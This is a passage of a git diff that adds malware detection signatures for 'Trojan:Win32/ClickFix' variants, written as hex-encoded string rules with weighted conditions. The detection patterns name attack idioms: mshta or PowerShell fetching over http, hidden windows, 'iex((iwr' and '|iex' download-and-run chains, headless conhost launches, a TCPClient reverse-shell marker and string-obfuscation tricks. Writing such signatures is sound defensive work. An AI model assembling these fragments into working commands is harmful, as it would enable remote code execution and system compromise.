00 3a 00 20 00 43 00 41 00 50 00 54 00 43 00 48 00 41 00 } //1 robot: CAPTCHA + $a_00_51 = {72 00 6f 00 62 00 6f 00 74 00 20 00 2d 00 20 00 43 00 41 00 50 00 54 00 43 00 48 00 41 00 } //1 robot - CAPTCHA + $a_00_52 = {48 00 75 00 6d 00 61 00 6e 00 20 00 2d 00 20 00 72 00 } //1 Human - r + $a_00_53 = {48 00 75 00 6d 00 61 00 6e 00 3a 00 20 00 72 00 } //1 Human: r + $a_00_54 = {48 00 75 00 6d 00 61 00 6e 00 3a 00 20 00 43 00 41 00 50 00 54 00 43 00 48 00 41 00 } //1 Human: CAPTCHA + $a_00_55 = {48 00 75 00 6d 00 61 00 6e 00 20 00 2d 00 20 00 43 00 41 00 50 00 54 00 43 00 48 00 41 00 } //1 Human - CAPTCHA + $a_00_56 = {47 00 75 00 61 00 72 00 64 00 3a 00 20 00 41 00 6e 00 73 00 77 00 65 00 72 00 } //1 Guard: Answer + $a_00_57 = {4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 3a 00 20 00 46 00 69 00 78 00 20 00 49 00 6e 00 74 00 65 00 72 00 6e 00 65 00 74 00 20 00 44 00 4e 00 53 00 20 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 20 00 72 00 65 00 63 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 } //1 Microsoft Windows: Fix Internet DNS Service reconnect + $a_00_58 = {52 00 65 00 73 00 74 00 61 00 72 00 74 00 20 00 44 00 4e 00 53 00 20 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 20 00 69 00 6e 00 20 00 74 00 68 00 65 00 20 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 73 00 79 00 73 00 74 00 65 00 6d 00 } //1 Restart DNS service in the Microsoft Windows system + $a_00_59 = {6e 00 65 00 74 00 73 00 74 00 61 00 74 00 75 00 73 00 63 00 68 00 65 00 63 00 6b 00 } //1 netstatuscheck + $a_00_60 = {70 00 72 00 6f 00 64 00 75 00 63 00 74 00 20 00 63 00 61 00 6c 00 6c 00 20 00 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 } //1 product call install + $a_00_61 = {6d 00 73 00 65 00 64 00 67 00 65 00 77 00 65 00 62 00 76 00 69 00 65 00 77 00 32 00 2e 00 65 00 78 00 65 00 } //-5000 msedgewebview2.exe + $a_00_62 = {69 00 66 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 3d 00 3d 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 65 00 63 00 68 00 6f 00 } //-1000 if false == false echo condition: - ((#a_00_0 & 1)*1000+(#a_00_1 & 1)*1000+(#a_00_2 & 1)*50+(#a_00_3 & 1)*50+(#a_00_4 & 1)*50+(#a_00_5 & 1)*50+(#a_00_6 & 1)*50+(#a_00_7 & 1)*50+(#a_00_8 & 1)*50+(#a_00_9 & 1)*50+(#a_00_10 & 1)*50+(#a_00_11 & 1)*50+(#a_00_12 & 1)*50+(#a_00_13 & 1)*50+(#a_00_14 & 1)*50+(#a_00_15 & 1)*50+(#a_00_16 & 1)*1+(#a_00_17 & 1)*1+(#a_00_18 & 1)*1+(#a_00_19 & 1)*1+(#a_02_20 & 1)*1+(#a_00_21 & 1)*1+(#a_00_22 & 1)*1+(#a_00_23 & 1)*1+(#a_00_24 & 1)*1+(#a_00_25 & 1)*1+(#a_00_26 & 1)*1+(#a_00_27 & 1)*1+(#a_00_28 & 1)*1+(#a_00_29 & 1)*1+(#a_00_30 & 1)*1+(#a_00_31 & 1)*1+(#a_00_32 & 1)*1+(#a_00_33 & 1)*1+(#a_00_34 & 1)*1+(#a_00_35 & 1)*1+(#a_00_36 & 1)*1+(#a_00_37 & 1)*1+(#a_00_38 & 1)*1+(#a_00_39 & 1)*1+(#a_00_40 & 1)*1+(#a_00_41 & 1)*1+(#a_00_42 & 1)*1+(#a_00_43 & 1)*1+(#a_00_44 & 1)*1+(#a_00_45 & 1)*1+(#a_00_46 & 1)*1+(#a_00_47 & 1)*1+(#a_00_48 & 1)*1) >=2051 + ((#a_00_0 & 1)*50+(#a_00_1 & 1)*50+(#a_00_2 & 1)*50+(#a_00_3 & 1)*50+(#a_00_4 & 1)*50+(#a_00_5 & 1)*50+(#a_00_6 & 1)*50+(#a_00_7 & 1)*50+(#a_00_8 & 1)*50+(#a_00_9 & 1)*50+(#a_00_10 & 1)*50+(#a_00_11 & 1)*50+(#a_00_12 & 1)*50+(#a_00_13 & 1)*50+(#a_00_14 & 1)*50+(#a_00_15 & 1)*50+(#a_00_16 & 1)*50+(#a_00_17 & 1)*50+(#a_00_18 & 1)*50+(#a_00_19 & 1)*50+(#a_00_20 & 1)*50+(#a_00_21 & 1)*50+(#a_00_22 & 1)*50+(#a_00_23 & 1)*50+(#a_00_24 & 1)*50+(#a_00_25 & 1)*1+(#a_00_26 & 1)*1+(#a_00_27 & 1)*1+(#a_00_28 & 1)*1+(#a_02_29 & 1)*1+(#a_00_30 & 1)*1+(#a_00_31 & 1)*1+(#a_00_32 & 1)*1+(#a_00_33 & 1)*1+(#a_00_34 & 1)*1+(#a_00_35 & 1)*1+(#a_00_36 & 1)*1+(#a_00_37 & 1)*1+(#a_00_38 & 1)*1+(#a_00_39 & 1)*1+(#a_00_40 & 1)*1+(#a_00_41 & 1)*1+(#a_00_42 & 1)*1+(#a_00_43 & 1)*1+(#a_00_44 & 1)*1+(#a_00_45 & 1)*1+(#a_00_46 & 1)*1+(#a_00_47 & 1)*1+(#a_00_48 & 1)*1+(#a_00_49 & 1)*1+(#a_00_50 & 1)*1+(#a_00_51 & 1)*1+(#a_00_52 & 1)*1+(#a_00_53 & 1)*1+(#a_00_54 & 1)*1+(#a_00_55 & 1)*1+(#a_00_56 & 1)*1+(#a_00_57 & 1)*1+(#a_00_58 & 1)*1+(#a_00_59 & 1)*1+(#a_00_60 & 1)*1+(#a_00_61 & 1)*-5000+(#a_00_62 & 1)*-1000) >=51 } \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZE.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZE.yar new file mode 100644 index 0000000000..aed4718814 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZE.yar @@ -0,0 +1,26 @@ + +rule Trojan_Win32_ClickFix_ZE{ + meta: + description = "Trojan:Win32/ClickFix.ZE,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {6d 00 73 00 68 00 74 00 61 00 } //1 mshta + $a_00_1 = {68 00 74 00 74 00 70 00 } //1 http + $a_00_2 = {32 00 6e 00 6f 00 2e 00 63 00 6f 00 2f 00 } //1 2no.co/ + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} +rule Trojan_Win32_ClickFix_ZE_2{ + meta: + description = "Trojan:Win32/ClickFix.ZE,SIGNATURE_TYPE_CMDHSTR_EXT,1e 00 1e 00 04 00 00 " + + strings : + $a_00_0 = {6d 00 73 00 68 00 74 00 61 00 } //10 mshta + $a_00_1 = {68 00 74 00 74 00 70 00 90 00 02 00 ff 00 2e 00 6f 00 67 00 67 00 } //10 + $a_00_2 = {20 00 05 27 20 00 } //10 ✅ + $a_00_3 = {6d 00 73 00 65 00 64 00 67 00 65 00 77 00 65 00 62 00 76 00 69 00 65 00 77 00 32 00 2e 00 65 00 78 00 65 00 } //-100 msedgewebview2.exe + condition: + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*-100) >=30 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZF.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZF.yar new file mode 100644 index 0000000000..beb9e5ce74 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZF.yar @@ -0,0 +1,28 @@ + +rule Trojan_Win32_ClickFix_ZF{ + meta: + description = "Trojan:Win32/ClickFix.ZF,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_00_0 = {63 00 75 00 72 00 6c 00 } //1 curl + $a_00_1 = {68 00 74 00 74 00 70 00 } //1 http + $a_00_2 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_3 = {68 00 69 00 64 00 64 00 65 00 6e 00 } //1 hidden + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=4 + +} +rule Trojan_Win32_ClickFix_ZF_2{ + meta: + description = "Trojan:Win32/ClickFix.ZF,SIGNATURE_TYPE_CMDHSTR_EXT,08 00 08 00 05 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //2 powershell + $a_00_1 = {2d 00 77 00 } //2 -w + $a_00_2 = {68 00 74 00 74 00 70 00 } //2 http + $a_00_3 = {63 00 75 00 72 00 6c 00 } //2 curl + $a_00_4 = {2e 00 70 00 73 00 31 00 } //-5000 .ps1 + condition: + ((#a_00_0 & 1)*2+(#a_00_1 & 1)*2+(#a_00_2 & 1)*2+(#a_00_3 & 1)*2+(#a_00_4 & 1)*-5000) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZFA.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZFA.yar new file mode 100644 index 0000000000..fc77fbc370 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZFA.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_ZFA{ + meta: + description = "Trojan:Win32/ClickFix.ZFA,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //2 powershell + $a_00_1 = {2d 00 77 00 } //2 -w + $a_00_2 = {63 00 75 00 72 00 6c 00 } //2 curl + $a_00_3 = {2e 00 70 00 73 00 31 00 } //-5000 .ps1 + condition: + ((#a_00_0 & 1)*2+(#a_00_1 & 1)*2+(#a_00_2 & 1)*2+(#a_00_3 & 1)*-5000) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZFB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZFB.yar new file mode 100644 index 0000000000..1ec3bf9f16 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZFB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_ZFB{ + meta: + description = "Trojan:Win32/ClickFix.ZFB,SIGNATURE_TYPE_CMDHSTR_EXT,08 00 08 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //2 powershell + $a_00_1 = {2d 00 77 00 } //2 -w + $a_00_2 = {63 00 75 00 72 00 6c 00 } //2 curl + $a_00_3 = {7c 00 69 00 65 00 78 00 } //2 |iex + condition: + ((#a_00_0 & 1)*2+(#a_00_1 & 1)*2+(#a_00_2 & 1)*2+(#a_00_3 & 1)*2) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZG.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZG.yar new file mode 100644 index 0000000000..52a69c271c --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZG.yar @@ -0,0 +1,40 @@ + +rule Trojan_Win32_ClickFix_ZG{ + meta: + description = "Trojan:Win32/ClickFix.ZG,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_1 = {68 00 74 00 74 00 70 00 } //1 http + $a_00_2 = {73 00 74 00 61 00 72 00 74 00 } //1 start + $a_00_3 = {69 00 65 00 78 00 28 00 28 00 69 00 77 00 72 00 } //1 iex((iwr + $a_00_4 = {2d 00 55 00 73 00 65 00 42 00 61 00 73 00 69 00 63 00 50 00 61 00 72 00 73 00 69 00 6e 00 67 00 } //1 -UseBasicParsing + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=5 + +} +rule Trojan_Win32_ClickFix_ZG_2{ + meta: + description = "Trojan:Win32/ClickFix.ZG,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff90 01 ffffff90 01 10 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //200 powershell + $a_00_1 = {2d 00 77 00 } //200 -w + $a_00_2 = {e2 00 80 00 95 00 77 00 } //200 + $a_00_3 = {e2 00 80 00 94 00 77 00 } //200 + $a_00_4 = {2f 00 77 00 } //200 /w + $a_00_5 = {e2 00 80 00 93 00 77 00 } //200 + $a_02_6 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-ff] 68 00 74 00 74 00 70 00 } //400 + $a_02_7 = {6d 00 73 00 69 00 65 00 78 00 65 00 63 00 2e 00 65 00 78 00 65 00 [0-ff] 68 00 74 00 74 00 70 00 } //400 + $a_02_8 = {63 00 6d 00 64 00 [0-30] 63 00 75 00 72 00 6c 00 [0-30] 68 00 74 00 74 00 70 00 } //400 + $a_02_9 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 [0-30] 63 00 75 00 72 00 6c 00 [0-30] 68 00 74 00 74 00 70 00 } //400 + $a_02_10 = {63 00 6f 00 6e 00 68 00 6f 00 73 00 74 00 [0-20] 2d 00 2d 00 68 00 65 00 61 00 64 00 6c 00 65 00 73 00 73 00 [0-20] 63 00 6d 00 64 00 } //400 + $a_02_11 = {63 00 6f 00 6e 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 [0-20] 63 00 6d 00 64 00 } //400 + $a_02_12 = {63 00 6f 00 6e 00 68 00 6f 00 73 00 74 00 [0-20] 2d 00 2d 00 68 00 65 00 61 00 64 00 6c 00 65 00 73 00 73 00 [0-20] 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //400 + $a_02_13 = {63 00 6f 00 6e 00 68 00 6f 00 73 00 74 00 [0-20] 2d 00 2d 00 68 00 65 00 61 00 64 00 6c 00 65 00 73 00 73 00 [0-20] 77 00 6d 00 69 00 63 00 } //400 + $a_00_14 = {2e 00 70 00 73 00 31 00 } //-500 .ps1 + $a_00_15 = {2e 00 68 00 74 00 61 00 } //-500 .hta + condition: + ((#a_00_0 & 1)*200+(#a_00_1 & 1)*200+(#a_00_2 & 1)*200+(#a_00_3 & 1)*200+(#a_00_4 & 1)*200+(#a_00_5 & 1)*200+(#a_02_6 & 1)*400+(#a_02_7 & 1)*400+(#a_02_8 & 1)*400+(#a_02_9 & 1)*400+(#a_02_10 & 1)*400+(#a_02_11 & 1)*400+(#a_02_12 & 1)*400+(#a_02_13 & 1)*400+(#a_00_14 & 1)*-500+(#a_00_15 & 1)*-500) >=400 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZGA.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZGA.yar new file mode 100644 index 0000000000..49c3881ac2 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZGA.yar @@ -0,0 +1,37 @@ + +rule Trojan_Win32_ClickFix_ZGA{ + meta: + description = "Trojan:Win32/ClickFix.ZGA,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff90 01 ffffff90 01 1b 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //200 powershell + $a_00_1 = {2d 00 77 00 } //200 -w + $a_00_2 = {e2 00 80 00 95 00 77 00 } //200 + $a_00_3 = {e2 00 80 00 94 00 77 00 } //200 + $a_00_4 = {e2 00 80 00 93 00 77 00 } //200 + $a_00_5 = {2f 00 77 00 } //200 /w + $a_02_6 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-ff] 68 00 74 00 74 00 70 00 } //400 + $a_02_7 = {6d 00 73 00 69 00 65 00 78 00 65 00 63 00 2e 00 65 00 78 00 65 00 [0-ff] 68 00 74 00 74 00 70 00 } //400 + $a_02_8 = {63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 [0-30] 63 00 75 00 72 00 6c 00 } //400 + $a_02_9 = {63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 [0-50] 69 00 77 00 72 00 } //400 + $a_02_10 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 [0-30] 63 00 75 00 72 00 6c 00 } //400 + $a_02_11 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 [0-30] 68 00 74 00 74 00 70 00 } //400 + $a_02_12 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 [0-30] 69 00 77 00 72 00 20 00 [0-50] 69 00 65 00 78 00 20 00 [0-ff] 3a 00 } //400 + $a_02_13 = {63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 [0-ff] 5e 00 [0-05] 5e 00 [0-50] 68 00 74 00 74 00 70 00 } //400 + $a_02_14 = {63 00 6f 00 6e 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 [0-20] 63 00 6d 00 64 00 } //400 + $a_02_15 = {63 00 6f 00 6e 00 68 00 6f 00 73 00 74 00 [0-20] 2d 00 2d 00 68 00 65 00 61 00 64 00 6c 00 65 00 73 00 73 00 [0-20] 63 00 6d 00 64 00 } //400 + $a_02_16 = {63 00 6f 00 6e 00 68 00 6f 00 73 00 74 00 [0-20] 2d 00 2d 00 68 00 65 00 61 00 64 00 6c 00 65 00 73 00 73 00 [0-20] 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //400 + $a_02_17 = {63 00 6f 00 6e 00 68 00 6f 00 73 00 74 00 [0-20] 2d 00 2d 00 68 00 65 00 61 00 64 00 6c 00 65 00 73 00 73 00 [0-20] 77 00 6d 00 69 00 63 00 } //400 + $a_00_18 = {2e 00 70 00 73 00 31 00 } //-600 .ps1 + $a_00_19 = {2e 00 68 00 74 00 61 00 } //-600 .hta + $a_00_20 = {65 00 78 00 70 00 6c 00 6f 00 72 00 65 00 72 00 20 00 68 00 74 00 74 00 70 00 3a 00 } //-600 explorer http: + $a_00_21 = {5c 00 61 00 70 00 70 00 6c 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 5c 00 63 00 68 00 72 00 6f 00 6d 00 65 00 2e 00 65 00 78 00 65 00 } //-600 \application\chrome.exe + $a_00_22 = {2e 00 6e 00 62 00 73 00 64 00 65 00 76 00 2e 00 63 00 6f 00 2e 00 75 00 6b 00 } //-600 .nbsdev.co.uk + $a_00_23 = {28 00 5b 00 73 00 63 00 72 00 69 00 70 00 74 00 62 00 6c 00 6f 00 63 00 6b 00 5d 00 3a 00 3a 00 43 00 72 00 65 00 61 00 74 00 65 00 28 00 5b 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 57 00 69 00 6e 00 33 00 32 00 2e 00 52 00 65 00 67 00 69 00 73 00 74 00 72 00 79 00 5d 00 3a 00 3a 00 47 00 65 00 74 00 56 00 61 00 6c 00 75 00 65 00 } //-600 ([scriptblock]::Create([Microsoft.Win32.Registry]::GetValue + $a_00_24 = {50 00 53 00 41 00 70 00 70 00 44 00 65 00 70 00 6c 00 6f 00 79 00 54 00 6f 00 6f 00 6c 00 6b 00 69 00 74 00 } //-600 PSAppDeployToolkit + $a_00_25 = {70 00 77 00 63 00 65 00 75 00 72 00 2e 00 73 00 68 00 61 00 72 00 65 00 70 00 6f 00 69 00 6e 00 74 00 2e 00 63 00 6f 00 6d 00 } //-600 pwceur.sharepoint.com + $a_00_26 = {70 00 77 00 63 00 69 00 6e 00 74 00 65 00 72 00 6e 00 61 00 6c 00 2e 00 63 00 6f 00 6d 00 } //-600 pwcinternal.com + condition: + ((#a_00_0 & 1)*200+(#a_00_1 & 1)*200+(#a_00_2 & 1)*200+(#a_00_3 & 1)*200+(#a_00_4 & 1)*200+(#a_00_5 & 1)*200+(#a_02_6 & 1)*400+(#a_02_7 & 1)*400+(#a_02_8 & 1)*400+(#a_02_9 & 1)*400+(#a_02_10 & 1)*400+(#a_02_11 & 1)*400+(#a_02_12 & 1)*400+(#a_02_13 & 1)*400+(#a_02_14 & 1)*400+(#a_02_15 & 1)*400+(#a_02_16 & 1)*400+(#a_02_17 & 1)*400+(#a_00_18 & 1)*-600+(#a_00_19 & 1)*-600+(#a_00_20 & 1)*-600+(#a_00_21 & 1)*-600+(#a_00_22 & 1)*-600+(#a_00_23 & 1)*-600+(#a_00_24 & 1)*-600+(#a_00_25 & 1)*-600+(#a_00_26 & 1)*-600) >=400 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZH.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZH.yar new file mode 100644 index 0000000000..9d370a0859 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZH.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_ClickFix_ZH{ + meta: + description = "Trojan:Win32/ClickFix.ZH,SIGNATURE_TYPE_CMDHSTR_EXT,07 00 07 00 05 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //2 powershell + $a_00_1 = {6d 00 73 00 68 00 74 00 61 00 } //2 mshta + $a_00_2 = {63 00 75 00 72 00 6c 00 } //2 curl + $a_00_3 = {68 00 74 00 74 00 70 00 } //5 http + $a_02_4 = {69 00 77 00 72 00 [0-30] 69 00 65 00 78 00 [0-ff] 69 00 64 00 3a 00 } //5 + condition: + ((#a_00_0 & 1)*2+(#a_00_1 & 1)*2+(#a_00_2 & 1)*2+(#a_00_3 & 1)*5+(#a_02_4 & 1)*5) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZHC_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZHC_MTB.yar new file mode 100644 index 0000000000..aae0b97d3f --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZHC_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_ClickFix_ZHC_MTB{ + meta: + description = "Trojan:Win32/ClickFix.ZHC!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_00_0 = {41 00 63 00 74 00 69 00 76 00 65 00 58 00 4f 00 62 00 6a 00 65 00 63 00 74 00 28 00 } //1 ActiveXObject( + $a_00_1 = {2e 00 2e 00 72 00 65 00 76 00 65 00 72 00 73 00 65 00 } //1 ..reverse + $a_00_2 = {2e 00 73 00 70 00 6c 00 69 00 74 00 28 00 } //1 .split( + $a_00_3 = {2e 00 6a 00 6f 00 69 00 6e 00 28 00 } //1 .join( + $a_00_4 = {3b 00 65 00 76 00 61 00 6c 00 28 00 } //1 ;eval( + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZI.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZI.yar new file mode 100644 index 0000000000..a34cfee697 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZI.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_ClickFix_ZI{ + meta: + description = "Trojan:Win32/ClickFix.ZI,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_00_0 = {72 00 65 00 70 00 6c 00 61 00 63 00 65 00 } //10 replace + $a_00_1 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + condition: + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*1) >=11 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZMM_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZMM_MTB.yar new file mode 100644 index 0000000000..84d3aa3668 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZMM_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_ZMM_MTB{ + meta: + description = "Trojan:Win32/ClickFix.ZMM!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,69 00 69 00 03 00 00 " + + strings : + $a_00_0 = {43 00 6f 00 6d 00 70 00 6c 00 65 00 74 00 65 00 64 00 20 00 77 00 69 00 74 00 68 00 6f 00 75 00 74 00 20 00 6c 00 6f 00 67 00 20 00 6e 00 6f 00 74 00 69 00 63 00 65 00 } //100 Completed without log notice + $a_00_1 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //5 powershell + $a_00_2 = {6d 00 73 00 68 00 74 00 61 00 } //5 mshta + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*5+(#a_00_2 & 1)*5) >=105 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZMN_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZMN_MTB.yar new file mode 100644 index 0000000000..3dfd091a8b --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZMN_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_ZMN_MTB{ + meta: + description = "Trojan:Win32/ClickFix.ZMN!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_1 = {68 00 69 00 64 00 64 00 65 00 6e 00 } //1 hidden + $a_00_2 = {5d 00 2b 00 24 00 } //1 ]+$ + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZMP_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZMP_MTB.yar new file mode 100644 index 0000000000..d598bc7db4 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZMP_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_ZMP_MTB{ + meta: + description = "Trojan:Win32/ClickFix.ZMP!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {46 00 6f 00 72 00 45 00 61 00 63 00 68 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 7b 00 5b 00 43 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 54 00 6f 00 42 00 79 00 74 00 65 00 28 00 24 00 } //1 ForEach-Object {[Convert]::ToByte($ + $a_00_1 = {2e 00 53 00 75 00 62 00 73 00 74 00 72 00 69 00 6e 00 67 00 } //1 .Substring + $a_00_2 = {2e 00 47 00 65 00 74 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 } //1 .GetString( + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZMQ_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZMQ_MTB.yar new file mode 100644 index 0000000000..4586c6a4ac --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZMQ_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_ZMQ_MTB{ + meta: + description = "Trojan:Win32/ClickFix.ZMQ!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_00_0 = {2e 00 52 00 65 00 61 00 64 00 28 00 24 00 } //1 .Read($ + $a_00_1 = {4e 00 65 00 74 00 2e 00 53 00 6f 00 63 00 6b 00 65 00 74 00 73 00 2e 00 54 00 43 00 50 00 43 00 6c 00 69 00 65 00 6e 00 74 00 } //1 Net.Sockets.TCPClient + $a_00_2 = {2e 00 47 00 65 00 74 00 53 00 74 00 72 00 65 00 61 00 6d 00 28 00 } //1 .GetStream( + $a_00_3 = {77 00 68 00 69 00 6c 00 65 00 } //1 while + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=4 + +} \ No newline at end 